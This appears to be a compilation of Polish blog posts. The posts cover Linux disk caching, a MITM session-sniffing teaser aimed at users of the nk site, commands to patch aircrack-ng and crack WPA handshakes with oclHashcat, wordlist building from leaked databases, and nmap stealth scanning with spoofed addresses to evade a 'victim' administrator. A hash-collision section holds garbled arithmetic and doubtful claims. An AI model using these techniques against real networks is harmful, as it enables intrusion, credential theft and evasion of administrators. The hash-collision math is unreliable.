Co się dzieje?

Linux pożycza sobie nieużywaną pamięć jako cache dysku. To stwarza złudzenie, że system zużywa dużo pamięci. To tylko złudzenie! Wszystko jest w porządku!

Dlaczego się tak dzieje?

Cache’owanie dysku sprawia, że system działa dużo szybciej! Nie ma wad, poza tym, że jest to mylące dla początkujących. W żadnym wypadku nie zabiera pamięci aplikacjom!

Co jeśli chcę włączyć więcej aplikacji?

Jeśli Twoje aplikacje potrzebują więcej pamięci, po prostu odbierają jej część, którą wcześniej zajął cache dysku. Ten cache może być w każdej chwili oddany aplikacjom. Wcale nie kończy Ci się RAM!

Czy potrzebuję więcej swapa?

Nie, cache dysku tylko pożycza pamięć, której aplikacje w danym momencie nie potrzebują, ten proces nigdy nie będzie używał pamięci swap (to byłoby po prostu głupie…).

Jak powstrzymać system od robienia tego?

Nie możesz tego zatrzymać. Jedynym powodem, dla którego ktokolwiek chciałby zatrzymać ten proces jest to, że myślą, że cache dysku zabiera pamięć z ich aplikacji, a tego nie robi! Cache dysku przyśpiesza start aplikacji i powoduje, że działają płynniej, ale NIGDY, PRZENIGDY nie zabiera im pamięci. Nie ma więc żadnego powodu by wyłączać ten proces!

Dlaczego `top` i `free` mówią, że moja pamięć jest zajęta kiedy nie jest?

Jest to po prostu nieporozumienie w definicji pojęć. Ty i system, zgadzacie się, że pamięć zajęta to ta, której używa aplikacja, podczas gdy pamięć wolna, to ta, która nie jest używana do niczego.

Jednak jak nazwiesz pamięć, która jest jednocześnie zajęta i dostępna dla aplikacji?

Nazwałbyś ją raczej wolną, ale Linux nazywa ją zajętą.

Pamięć, która jest: Ty nazwiesz ją Linux nazwie ją
Zajęta przez aplikacje Używana Używana
Dostępna dla aplikacji, ale używana przez coś innego Wolna Używana
Nieużywana Wolna Wolna

To „coś” jest tym, co `top` i `free` nazywają „buffers” i „cached”. Skoro Twoja terminologia różni się od terminologii Linuxa, Ty myślisz, że masz mało pamięci.

Jak sprawdzić ile pamięci mam w rzeczywistości?

By zobaczyć ile RAMu jest zajęte przez Twoje aplikacje, uruchom `free -m’ i spójrz na rząd, który jest opisany „-/+ buffers/cache” w kolumnie „free”. To jest odpowiedź na pytanie, podana w megabajtach .

agilob@Asus-PC ~ $ free -m
            total  used free shared buffers cached
Mem:         3890  3704  186      0     144   2123
-/+ buffers/cache: 1436 2454
Swap:        3812  5    3807

Jeśli nie wiesz jak czytać te liczby, wciąż będziesz myślał, że masz zajęte 95% pamięci, gdy w rzeczywistości masz zajęte 63%

 Artykuł opublikowany i przetłumaczony za zgodą autora. źródło.

Wpis ten jest suplementem do wpisu o wardrivingu.

su root
 
nano /etc/kismet/kismet.conf

musisz poszukać i przerobić na coś podobnego do tego poniżej, edytować należy 33. linijkę.

27. # See the README for full information on the new source format
28. # ncsource=interface:options
29. # for example:
30 .# ncsource=wlan0
31 .# ncsource=wifi0:type=madwifi
32. # ncsource=wlan0:name=intel,hop=false,channel=11
33. ncsource=INTERFACE (np. wlan1) :type=STEROWNIK (np. rt8187),hop=true

Continue reading

Sniffing/MITM w sieciach bezprzewodowych Atak Man In The Middle, podczas którego będziemy sniffowali sobie sieć i patrzyli kto jest zalogowany na nk i jaki ma numer sesji logowania.

Do dzieła.

Czego potrzebujesz?

  • Linuxa
  • Netstat (included in linux)
  • IPTables (included in linux)
  • Arpspoof (składnik dsniffa, apt-get install dsniff -y)
  • SSLStrip wersja 0.9.0
  • Być podłączonym do sieci, którą atakujesz.

Continue reading

… od dawna ;)

Do OclHashCat-plus jakiś czas temu została wprowadzona możliwość odzyskiwania haseł z pakietów z handshake WPA/WPA2. Żeby tego używać trzeba dodać patcha do aircrack-ng, który wyciągnie z pakietów sam hash z autoryzacji.

Przed wykonaniem poniższych poleceń zalecane jest usunięci aircrack-ng poprzez:

apt-get autoremove --purge aircrack-ng

 

A pobierzemy, zpatchujemy program tymi poleceniami:

apt-get install subversion -y
svn co -r 1959 http://trac.aircrack-ng.org/svn/trunk aircrack-ng
cd aircrack-ng
wget http://trac.aircrack-ng.org/raw-attachment/ticket/937/oclHashcat-plus-wpa-support.patch
cat oclHashcat-plus-wpa-support.patch | patch -Np0
make sqlite=true unstable=true install

Następnie okno pomocy aircrack-ng będzie wyglądało tak:

aircrack-ng
 
Aircrack-ng 1.1 r1959 - (C) 2006-2010 Thomas dOtreppe
Original work: Christophe Devine
 
http://www.aircrack-ng.org
 
usage: aircrack-ng [options] <.cap / .ivs file(s)>
 
Common options:
 
-a <amode> : force attack mode (1/WEP, 2/WPA-PSK)
-e <essid> : target selection: network identifier
-b <bssid> : target selection: access point's MAC
-p <nbcpu> : # of CPU to use  (default: all CPUs)
-q         : enable quiet mode (no status output)
-C <macs>  : merge the given APs to a virtual one
-l <file>  : write key to file
 
Static WEP cracking options:
 
-c         : search alpha-numeric characters only
-t         : search binary coded decimal chr only
-h         : search the numeric key for Fritz!BOX
-d <mask>  : use masking of the key (A1:XX:CF:YY)
-m <maddr> : MAC address to filter usable packets
-n <nbits> : WEP key length :  64/128/152/256/512
-i <index> : WEP key index (1 to 4), default: any
-f <fudge> : bruteforce fudge factor,  default: 2
-k <korek> : disable one attack method  (1 to 17)
-x or -x0  : disable bruteforce for last keybytes
-x1        : last keybyte bruteforcing  (default)
-x2        : enable last  2 keybytes bruteforcing
-X         : disable  bruteforce   multithreading
-y         : experimental  single bruteforce mode
-K         : use only old KoreK attacks (pre-PTW)
-s         : show the key in ASCII while cracking
-M <num>   : specify maximum number of IVs to use
-D         : WEP decloak, skips broken keystreams
-P <num>   : PTW debug:  1: disable Klein, 2: PTW
-1         : run only 1 try to crack key with PTW
 
WEP and WPA-PSK cracking options:
 
-w <words> : path to wordlist(s) filename(s)
 
WPA-PSK options: -E <file>  : create EWSA Project file v3
-J <file>  : create Hashcat Capture file
-S         : WPA cracking speed test 
 
Other options:
 
-u         : Displays # of CPUs & MMX/SSE support
--help     : Displays this usage screen
 
No file to crack specified.

Następnie aby oclhashcat mógł operować na handshaku, trzeba wypakować go z reszty pakietów:

aircrack-ng -J odzyskany.hcap plik_z_handshake.cap
Następnie użycie OclHashCata wygląda tak:
./oclHashcat-plus64.bin ../odzyskany.hccap -m 2500

Źródło.

Dam Ci rady jak możesz zrobić swoje proste i te bardziej złożone słowniki.

Nie baw się w żadne 27GB słownik… bo taki sam wygenerujesz smartfonem w parę godzin. Używanie dużego słownika wiąże się ze zużyciem dysku, a wygenerowanie takiego w locie (bez zapisywania) na i7 z 8 wątkami to 3 minuty, odczyt z dysku i porównanie zajmie więcej czasu.

Ściągnij wszelkie bazy danych do jakich masz dostęp, jakiś mały słownik, przeskanuj te bazy danych:

1. brute-force’m ile możesz; do długości wyrazu min. 8 znaków

2. odzyskane hasła zapisuj do słownika

3. puszczaj te bazy ponownie przez słownik z regułami (patrz 1.)

4. wróć do punktu 2. zmień i dodaj reguły, wykonaj ten punkt min. 6 razy

5. Usuń duplikaty ze słowników.

Ten perlowy skrypt usuwa duplikaty ze słownika. Dlaczego jest lepszy od uniq i jtr? Bo wrzuca słownik do pamięci RAM nie do /tmp dzięki czemu usuwanie jest tysiące razy szybsze, nie ma zużycia dysku i nie wysypie Ci się system przy zapełnieniu całej partycji /tmp (co innego jak zapełni Ci się RAM, złapiesz laga na kilkanaście minut ;)).

#!/usr/bin/perl -w
use strict;
#usuwa duplikaty z pliku
my $origfile = "2";
my $outfile = "none-" . $origfile;
my %hTmp;
 
open (IN, "< $origfile") or die "Couldn't open input file: $!";
open (OUT, ">$outfile") or die "Couldn't open output file: $!";
 
while (my $sLine = ) {
next if $sLine =~ m/^s*$/; #remove empty lines
$sLine=~s/^s+//; #strip leading/trailing whitespace
$sLine=~s/s+$//;
print OUT qq{$sLinen} unless ($hTmp{$sLine}++);
}
close OUT;
close IN;

Skrypt był publiczny w Interncie.

No i w sumie to tyle. Po kilku dużych wyciekach baz danych będziesz miał więcej do roboty, ale będzie też szybciej leciało bo słownik będzie większy.

Techniki maskujące skanowanie (stealth technique), mają utrudnić/uniemożliwić administratorowi (później określanego jako ofiara) wykrycie skanowanie. Do tych technik można zaliczyć wykorzystywanie słabości reguł ustalonych w RFC (Request for Comment), ustawień firewalla czy daemona/OS którego skanujemy.

Słabości w RFC są ukazane we wszystkich skanach oprócz TCP Connect i TCP XMAS.
W TCP Connect dlatego, że następuje pełne połączenie między atakującym a ofiarą, na wielu portach w niedługim czasie, przeglądając logi można to nawet optycznie zauważyć.

Wybrałem tą metodę do opisania jako łatwiejsza do wykrycia, gdyż jeśli dbamy o siebie nie będziemy jej używali, tak samo jak ICMP (-sP) lub UDP (-sU) Scanning (nie dość, że są łatwe do wykrycia już przez samego firewalla to nie gwarantują, że wynik skanowania jest prawdziwy!), równie dobrze mogłem opisać te dwie, jako przestrogę, nie polecam ich używać.

Pozostałe techniki skanowania nie pozostawiają (tak wielu jak TCP-C) śladów przy skanowaniu.

Metody skanowania. Jak zbudowanymi pakietami się posługiwać?

 

TCP Connect

Metoda skanowania, w której w czasie wykrywania otwartych portów przeprowadzane jest całkowicie połączenie TCP z portem. Skanowanie polega na wysyłaniu na dane porty zapytań TCP z flagą SYN (mogę się połączyć?). Zależnie od odpowiedzi pytanego ustala się czy port jest otwarty czy nie. Odpowiedź z flagą SYN/ACK (pytanie zaakceptowano) oznacza, że port jest otwarty, flaga RST/ACK (poszoł von!) oznacza niechęć do ustanowienia połączenia. Odebranie pakietu z flagą SYN/ACK powoduje odpowiedź od pytającego flagą ACK (spoko, to się połączyliśmy). Użycie nmapa do przeprowadzenia tego skanowania:

# nmap -sT 192.168.1.2

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 15:34 CET
Interesting ports on 192.168.1.2:

Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http

Jest to metoda łatwa do wykrycia, odpytywane są wszystkie porty, z każdym następuje próba nawiązania pełnego połączenia TCP, wszystko jest w logach.

 

TCP SYN Scanning

Podobne do TCP Connect, jednak bezpieczniejsze od powyższego. Skanowanie polega na wysłaniu TCP z flagą SYN, odebraniu odpowiedzi SYN/ACK lub RST/ACK, tutaj jest różnica, TCP Connect wysyła pakiet z flagą ACK (której ofiara oczekuje) przez co nawiązuje połączenie z hostem, przy SYN Scanning nie odpowiada się żadną flagą, przez co nie ma pełnego nawiązania połączenia, więc nie może ono być zalogowane.

# nmap -sS 192.168.1.2

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 15:40 CET
Interesting ports on 192.168.1.2:

Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http

 

TCP FIN Scanning

Do ofiary wysyłany jest pakiety TCP z flagą FIN. Reguła wzięta z RFC mówi, że zamknięty port odpowie pakietem z flagą RST (nie ma mnie), otwarty port oleje takie zapytanie. Odpowiedzi uzyskiwane przez ten sposób skanowania są nieco bardziej szczegółowe:

# nmap -sF 192.168.1.2

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 15:51 CET
Interesting ports on 192.168.1.2:

Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open|filtered http

 

TCP ACK Scanning

Skanowanie jest oszukanym skanowaniem, oszukiwana jest ofiara. Oszustwo polega na skanowaniu, które zaczyna się od zapytania TCK ACK (dzięki za połączenie), ofiara zastanawia się o jakie podziękowanie chodzi, bo wcześniejszych zapytań nie ma w pamięci. Port zamknięty odpowie RST (jak w zapytaniu TCP FIN), port otwarty nic nie odpowiada. Tą metodą można sprawdzać ustawienia firewalla, odpowiedź RST zasugeruje, że port może być niefiltrowany przez firewalla.

# nmap -sA 192.168.1.2
Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 15:57 CET
All 1000 scanned ports on 192.168.1.2 are unfiltered

 

TCP NULL Scanning

Skanowanie polega na wysłaniu do ofiary pakietów TCP NULL, czyli bez ustawionej żadnej flagi. Identycznie jak w ACK czy FIN – odpowiedź RST powie, że port jest zamknięty, brak odpowiedzi=port otwarty.

# nmap -sN 192.168.1.2

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 15:59 CET
Interesting ports on 192.168.1.2:

Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open|filtered http

 

TCP XMAS Scanning

Skanowanie polega na wysłaniu do hosta pakietu z ustawionymi trzema flagami: FIN – dobra, koniec. URG – dostarcz szybko! Ważne! PSH – dostarcz do odpowiedniej aplikacji3

# nmap -sX 192.168.1.2

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 16:05 CET
Interesting ports on 192.168.1.2:

Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open|filtered http

Wyżej opisane zostały techniki do wyboru jakimi można skanować same porty. Teraz zajmiemy się metodami wykrywania usług działającymi na danym porcie. Wykrywanie systemu operacyjnego działającego na danym hoście określamy za pomocą -O

# nmap 192.168.1.3 -sS -O

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 16:15 CET
Interesting ports on 192.168.1.3:

Not shown: 994 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
5357/tcp open unknown
MAC Address: 00:1F:E1:02:DC:9E (Hon Hai Precision Ind. Co.)
Warning: OSScan results may be unreliable becaus
we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008
OS details: Microsoft Windows Vista SP0 or SP1 or Server 2008 SP1
Network Distance:1 hop

Otrzymany wynik nie jest jakimś cudownie uzyskaną odpowiedzią na pytanie “co za OS z ciebie?” odpowiedź jest zgadywana dzięki kilku szczegółom nawiązywania połączenia (np. różnice wynikające z systemu operacyjnego, Windows wysyła pakiety o innej wartości TLL niż Linux, czy pozostawiony fingerprint). NMAP oferuje nam skanowanie samych usług działających na hoście:

# nmap 192.168.1.3 -sC

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 16:46 CET
Interesting ports on 192.168.1.3:

Not shown: 994 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
5357/tcp open unknown
MAC Address: 00:1F:E1:02:DC:9E (Hon Hai Precision Ind. Co.)

Host script results:
|_ nbstat: NetBIOS name: ADMIN-PC, NetBIOS user: ,
NetBIOS MAC: 00:1f:e1:02:dc:9e
| smb-os-discovery: Windows Vista (TM) Home Basic 6002 Service Pack 2
| LAN Manager: Windows Vista (TM) Home Basic 6.0
| Name: WORKGROUPADMIN-PC
|_ System time: 2011-02-12 16:46:44 UTC+1

 

Jednak więcej danych o OS i usługach dowiemy się z:

# nmap 192.168.1.3 -sS -A

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 16:21 CET
Interesting ports on 192.168.1.3:

Not shown: 994 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http?
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open skype2 Skype
445/tcp open netbios-ssn
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ html-title: Service Unavailable
1 service unrecognized despite returning data.
If you know the service/version, please submit the following
fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port80-TCP:V=5.00%I=7%D=2/12%Time=4D56A573%P=x86_64-unknown-linux-gnu%r
SF:(GetRequest,1A,"HTTP/1.0x20404x20Notx20Foundrnrn")%r(HTTPOption
SF:s,6F,"Fxe0x01x8fxe0xe5xe9x88xc2RM"x8cxe7Ux99@xb7x1cx0fx
SF:d2xd8xddxffxc3xf0Tqxa4xcaxffxc3xe3xe2OFxcdYAx8d_xc1kx0f
SF:xbexcbkxdbu"xab`QNxe7lxed:xe38Ixe6x9fxc4eRx1bx10A~Wx1cxdd
SF:jSxe89x16x0ftUx82x8bxc01xaexc7xccxcdx9axc3x98)Fx7f$Exb
SF:2xfbp!xde7|xbdxca3Hx19vxef")%r(RTSPRequest,49,"xa0xc7x95xd1
SF:xfbx7fxc7xb5x[xe3xffx13xc0xb5xd5Txe6xbfxacxbex81exxaax
SF:bdx7fox96xd4x9aVdHJx8bx9fhxc1x1fx0fxbfEjxb4)UPx81xbex9
SF:7x1dxaax93(yVOxb4x95xc2xcbqxeex07x0crxdax03xd8")%r(F
SF:ourOhFourRequest,1A,"HTTP/1.0x20404x20Notx20Foundrnrn")%r(RPCCh
SF:eck,6D,"x97Q(LLxc5xd9]xd8xc0xba=jx02xd1yxd6"x8fxf7xd4x0
...(celowo ucięty wynik skanu)..
SF:).xf3Wxbe.PHx19vxefxd45xe2kx20x11x0exa7,xadxfaxa3xf8t
SF:xa6_x84%x12xdbxd0x01>x17xdcx9d*x13xa8xf9xd6xcf4x15BKx80
SF:xf1nx87x8cx8dZx83Xxe9x06?xe4x05rxbb0xe1x9exf7<}>x,xa6Tx
SF:16xd4x01");
MAC Address: 00:1F:E1:02:DC:9E (Hon Hai Precision Ind. Co.)
Warning: OSScan results may be unreliable because we could not
find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008
OS details: Microsoft Windows Vista or Windows Server 2008 SP1,
Microsoft Windows Vista SP0 or SP1 or Server 2008 SP1
Network Distance: 1 hop
Service Info: OS: Windows

Host script results:
|_ nbstat: NetBIOS name: ADMIN-PC, NetBIOS user: ,
NetBIOS MAC: 00:1f:e1:02:dc:9e
| smb-os-discovery: Windows Vista (TM) Home Basic 6002 Service Pack 2
| LAN Manager: Windows Vista (TM) Home Basic 6.0
| Name: WORKGROUPADMIN-PC
|_ System time: 2011-02-12 16:22:38 UTC+1

 

Za pomocą tych opcji nmapa udało się uzyskać następujące dane:

  • Nazwa komputera: ADMIN-PC
  • MAC ADDR: 00:1f:e1:02:dc:9e
  • Producent karty sieciowej: Hon Hai Precision Ind. Co
  • System operacyjny: Windows Vista (TM) Home Basic 6002 Service Pack 2
  • Grupa do której należy komputer: WORKGROUP
  • Czas na komputerze skanowanym: 2011-02-12 16:22:38 UTC+
  • O włączonych usługach:
  • 443/tcp open skype2 Skype
  • 135/tcp open msrpc Microsoft Windows RPC

Wykrywanie usług poprzez skan na danym porcie wykonasz za pomocą:

/# nmap 192.168.1.3 -sC -p 80,81,82

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 16:49 CET
Interesting ports on 192.168.1.3:

PORT STATE SERVICE
80/tcp open http
81/tcp filtered hosts2-ns
82/tcp filtered xfer
MAC Address: 00:1F:E1:02:DC:9E (Hon Hai Precision Ind. Co.)
To samo tylko inny zapis:
# nmap 192.168.1.3 -sC -p 80-82

Tempo skanowania nmapem określa się dodając parametr -T Gdzie liczba stoi zaraz za T, bez odstępu:

root@Asus-PC:/# nmap 192.168.1.3 -sC -T1 – najwolniejsze

root@Asus-PC:/# nmap 192.168.1.3 -sC -T5 – najszybsze

Liczba całkowita od 0 do 5.

Ten parametr dodany jest by celowo spowolnić skanowanie, czyli porozrzucać dane o skanowaniu w logach gdzieś pomiędzy prawidłowymi poleceniami

Wysyłanie zapytań z danego portu lokalnego zrobisz za pomocą opcji –source-port

A interface z którego wysyłać dane podasz z pomocą -e

Za czyjś adres z sieci lokalnej podszyjesz się przy pomocy parametru -S

Ciekawą przygodę miałem z tym spoofingiem gdy znajomy miał tak skonfigurowanego firewalla, że gdy ktoś go skanował, skrypt blokował możliwość połączenia z tym IP (blacklist), miał on problem gdy pewnego dnia sam switch zaczął go skanować :>

# nmap 192.168.1.3 -sC -T5 -e wlan0 -PN -S 192.168.1.1

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 17:00 CET
Interesting ports on 192.168.1.3:

Not shown: 994 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
5357/tcp open unknown
MAC Address: 00:1F:E1:02:DC:9E (Hon Hai Precision Ind. Co.)

Host script results:
|_ nbstat: NetBIOS name: ADMIN-PC, NetBIOS user: ,
NetBIOS MAC: 00:1f:e1:02:dc:9e
| smb-os-discovery: Windows Vista (TM) Home Basic 6002 Service Pack 2
| LAN Manager: Windows Vista (TM) Home Basic 6.0
| Name: WORKGROUPADMIN-PC
|_ System time: 2011-02-12 17:00:44 UTC+1

Jest także możliwość spoofowania MAC ADDR używają parametru –spoof-mac . Dodatkowe użycie parametru -f każe programowi fragmentować pakiety, ta opcja także pomaga zachować naszą anonimowość, no przynajmniej utrudni adminowi wykrycie skanowania.

Czym jest hash?

Hash (inaczej funkcja skrótu) jest kryptograficzną funkcją, która pobiera określone dane na wejściu i generuje z nich zaszyfrowaną wersję, zwykle podawaną w postaci znaków heksadecymalnych. Hashe nie są tym samym czym są checksum’y, checksum jest kodem sprawdzającym poprawność i integralność plików, przez sprawdzenie jej sumy kontrolnej na przesyłanym pliku. Dla tego pliku, suma integralności md5 to:

md5sum mdk3-v6.tar.bz2
 67705a814ded2a2e6f70522ca0dc6da9 mdk3-v6.tar.bz2

Czym jest kolizja hashy?

Z kolizją hashy mamy do czynienia gdy różne dane wejściowe przeprowadzane przez szereg operacji matematyczno-logicznych na wyjściu podają ten sam string jako hash.

Zapisując matematycznie:

A!=B

f(A)==f(B)

Im dłuższy jest ciąg f(A) tym mniejsze prawdopodobieństwo, że nastąpi kolizja z innym wyrazem B.

Skrót wersji MySQL64 składa się z 16 znaków heksadecymalnych, czyli ilość permutacji jaką można na nim stworzyć to:

16^16 = 18446744073709551616

czyli dość ograniczona ilość biorąc pod uwagę, że obecnie karty graficzne obliczają ponad Speed.GPU*: 5948.8M/s nie jest to wygórowana liczba. Łatwo jest wywołać kolizję ponieważ gdy karta graficzna ma za zadanie wytworzyć wszystkie permutacje z alfabetu: 1234567890abcdefghijklmnopqrstuwvxyz, który składa się z 26 znaków to dla długości haseł do 10 znaków mamy:

10^37 + 9^37 + 8^37 + 7^37 + … + 1^37 = dużo ( 10205370368408968258096392090176938105 )

Dla funkcji skrótu MD5 jest o wiele trudniej znaleźć kolizję gdyż liczba możliwych hashy jest równa

16^32=340282366920938463463374607431768211456

Długość hasha ułatwiła sprawę znalezienia kolizji w funkcji skrótu MySQL64 Rosjanom zajmującym się właśnie udowadnianiem, że obecnie używane metody kryptograficzne są niedoskonałe.

Na pewnym forum całkiem przypadkowo znaleziono kolizję dla hasha:

745d019f415d9513

który jest generowany z tych dwóch “słów”

корольbXBKkEHxi,i

Jest to pierwsza w historii praktycznie potwierdzona kolizja funkcji skrótu, o następne nie było trudno gdy ludzie sami zaczęli ich szukać, bardzo szubko znaleziono następne:

6acd60c427b48b95
Super-Pass!!!
f3uAI3 >DsZ

Pierwszą w historii i jak dotąd jedyną potrójną kolizją jaka miała miejsce jest zestawienie haseł:

QuantumCollision
bcSeW’!Tzu
fxO5H23g,]

Gdzie każde nich generuje

2f5b521d1ea3e566

Jak widać powyższe hasła nie dość, teoretycznie uznawane za mocne (np. fxO5H23g,]), są krótkie i generują za małą ilość. Jaki z tego wniosek? Jeśli nadal do szyfrowania danych używasz MySQL64 szybko to zmień ;)

Źródło.

 

1. Opis różnych kerneli
2. Systemy operacyjne oparte na microkernelu
3. Historia Debiana
4. L4
5. Coś o systemie
6. Komu Hurd

Kernel? Z czym to się je?


Jądro monolityczne – to rodzaj jądra systemu operacyjnego, w którym większa część funkcji jądra zaimplementowana jest w pojedynczym obrazie pamięci, który ładowany jest na stałe do pamięci komputera przez bootloader. Zdarza się jednak, że do jądra monolitycznego (zwanego wtedy modularnym) dopisywana jest możliwość ładowania modułów, które jednak nie realizują najbardziej podstawowych funkcji jądra.

Jądro monolityczne cechuje się wyższą wydajnością niż mikrojądro, zwłaszcza w systemach jedno-procesorowych oraz przy obciążaniu systemu tylko jednym dużym procesem.

Jądro hybrydowe jest jądrem opartym o zmodyfikowane architektury jądra monolitycznego oraz mikrojądra używanych w systemach operacyjnych. Ten rodzaj jądra budzi kontrowersje w porównaniu do podobnego jądra monolitycznego, pojęcie to, przez niektórych specjalistów zostało odebrane jako marketing.

Exokernel jest typem jądra, który nie ‘przyczepia’ hardwaru do teoretycznych modeli. Zamiast to przydziela fizyczne zasoby hardware takie jak karty pamięci, klastry dysku, takt procesora. System działający na exokernelu może łączyć się do bibliotek systemu operacyjnego, czego używa do symulowania abstrakcyjnego obrazu systemu operacyjnego, lub może rozwijać rdzenne aplikacje w celu otrzymania lepszej wydajności.

Nanokernel oddelegowuje praktycznie wszystkie usługi – w tym nawet najbardziej podstawowe, np. przerwanie kontrolerów czy licznik – co do sterowników, jądra pamięci. Wymagania ma nawet mniejsze niż tradycyjne mikrojądra.

Microkernel to rodzaj jądra systemu operacyjnego zawierającego tylko najpotrzebniejsze elementy systemu. W informatyce mikrokernel jest jądrem, który zaopatruje mechanizmy potrzebne do utrzymania systemu operacyjnego takie jak niski poziom adresacji przestrzeni, zarządzanie procesami, komunikacja miedzy procesami. Jeśli hardware wyposażony jest w różne stopnie uprzywilejowania, wtedy microkernel jest tylko oprogramowaniem zarządzającym na najbardziej uprzywilejowanym poziomie. Obecnie system operacyjny obsługuje sterowniki, stosy protokołów, system plików, interfejs użytkownika, które są zawarte w przestrzeni użytkowania. Mikrokernel jest blisko związany z exokernelem. Mają też wiele wspólnego z Monitorem Maszyny Wirtualnej (VMM), ten ostatni nie dąży do miniaturyzacji. Microkernele są wyspecjalizowane do wspierania maszyn wirtualnych. Microkernel L4 jest często używany jako VMM.

L3
L3 jest microkernelem działającym pod komputerami Intela x86. L3 jest zaprojektowany by był chudym jądrem, a cechuje go głównie szybkość, łatwość użycia mechanizmu stronicowania i mechanizm ochrony domen systemowych. L3 jest poprzednikiem L4 oba jądra zostały zaprojektowane przez Jochna Liedtka.

L4
Po kilku próbach na L3, Liedtke przeszedł do realizacji kilku innych projektów Mach, których koncepcje także były źle urzeczywistniane. Przez uproszczenie koncepcji mikrojądra, wciąż rozwijał pierwszy L4, który był początkowo zaprojektowany z uwagą na wysoką wydajność.
w celu wyciągnięcia najwyższej wydajności cały kernel został napisany w assemblerze. Jego praca spowodowała rewolucję w projektowaniu systemów operacyjnych.

Był on krótko badany przez uniwersytety i instytuty badań, także przez IBM. Liedtke rozpoczął prace w 1996. W IBM w Centrum Badań Liedtke Thomas John Watson i jego i koledzy kontynuowali badania nad L4 i microkernelami bazującymi na L4.


Microkernel nie jedno ma imię.


W podejściu do projektowania systemu operacyjnego opartego na microkernelu podkreślany jest podział na mniejsze moduły, co lepiej spełnia podstawowe funkcje jądra systemu i daje większe możliwości konfiguracyjne daje większą elastyczność systemu.

W rzeczywistości wydajność microkernela nie często jest wysoka, za to realizacja projektu jest skomplikowana i do dzisiaj większość systemów operacyjnych jest oparta ja jądrze monolitowym.

WindowsNtKernel, Minix, BeOS, QNX, GNU/Hurd, XNU, Mach bazują na micorkernelu i są to bardzo szybkie i dość niezawodne systemy. W zasadzie XNU nie bazuje na microkernelu, tylko na microkernelu z elementami jądra BSD i częściami specyficznymi dla Darwin, wszystko działa w przestrzeni kernela.

WindowsNtKernel nie jest także microkernelem, chociaż został oznaczony jako microkernel, gdy były one popularne… Dla przykładu w NT warstwa wykonawcza jest wdrożona nad warstwą obsługującą hardware. W prawdzie microkernel sam jest warstwą jadra, teraz odkąd GUI zostało przeniesione do przestrzeni jądra NT jest mniejszym systemem.

BeOS microjądro tego systemu zostało podzielone na mniejsze moduły. System nie jest już rozwijany.

QNX system, którego głównym przeznaczeniem są obliczenia w czasie rzeczywistym, polega to mniej więcej na tym, że jest “wbudowany” w sprzęt jaki obsługuje(pokłady samolotowe, statki, rakiety, kuchenki, pokłady samochodowe…), daje mu to doskonałą precyzją działań, niezawodność i możliwości konfiguracyjne zależne są od sprzętu na jakim działa.

XNU – inaczej jądro systemu Mac OS X, stworzony i rozwijany przez Apple Inc. zarezerwowany dla systemów Mac OX S oraz Darwin. Nazwa powstała z akronimu rekurencyjnego XNU is Not Unix”.

 

Historia Debiana


Projekt Debiana (nazwa utworzona od imienia fundatora OS [Ian] i jego żony [Debra]) został oficjalnie założony przez Ian Murdock’a 16 kwietnia 1993 roku. Na początku cała koncepcja dystrybucji Linuxa była nowością. Ian przeznaczył Debiana na dystrybucję która miała być ‘otwarta'(kod źródłowy), w duchu Linuxa i GNU. Tworzenie Debiana było sponsorowane przez FSU GNU przez rok (koniec 1994 – – koniec 1995).

Debian oznaczało bycie bezpiecznym i sumiennym jednocześnie, w obu kierunkach rozwijany był w podobnym tempie. Wystartowało jako mała grupa hakerów popierających ruch wolnego oprogramowania i stopniowo stawało się coraz większą, lepiej organizowaną społeczność developerów i użytkowników.

Kiedy to się zaczynało, Debian był tylko dystrybucją, która była otwarta dla każdego developera i użytkownika gotowa do ich pracy. Pozostaje najbardziej znaczącą dystrybucją Linuxa i nie jest skomercjalizowana. Jest to duży projekt z konstytucją, grupą społeczeństwa tworzącą go i zasadami, którymi kieruje się przy organizacji projektu. Debian jest także dystrybucją, która zachowuje ścisłą niezależność zapewniającą zwięzłość ze wszystkimi dodatkowymi paczkami.

HURD to zbiór serwerów uruchamianych na platformie microjądra GNU Mach. Obecnie HURD Debian jest dostępny tylko na Linuxa, ale Debian GNU/HURD staje się dostępny dla GNU/HURD jako dystrybucja dla serwerów i platform domowych. Debian GNU/HURD nie został jeszcze oficjalnie wydany i w najbliższym czasie nie będzie.

 

Początek ważna rzecz.


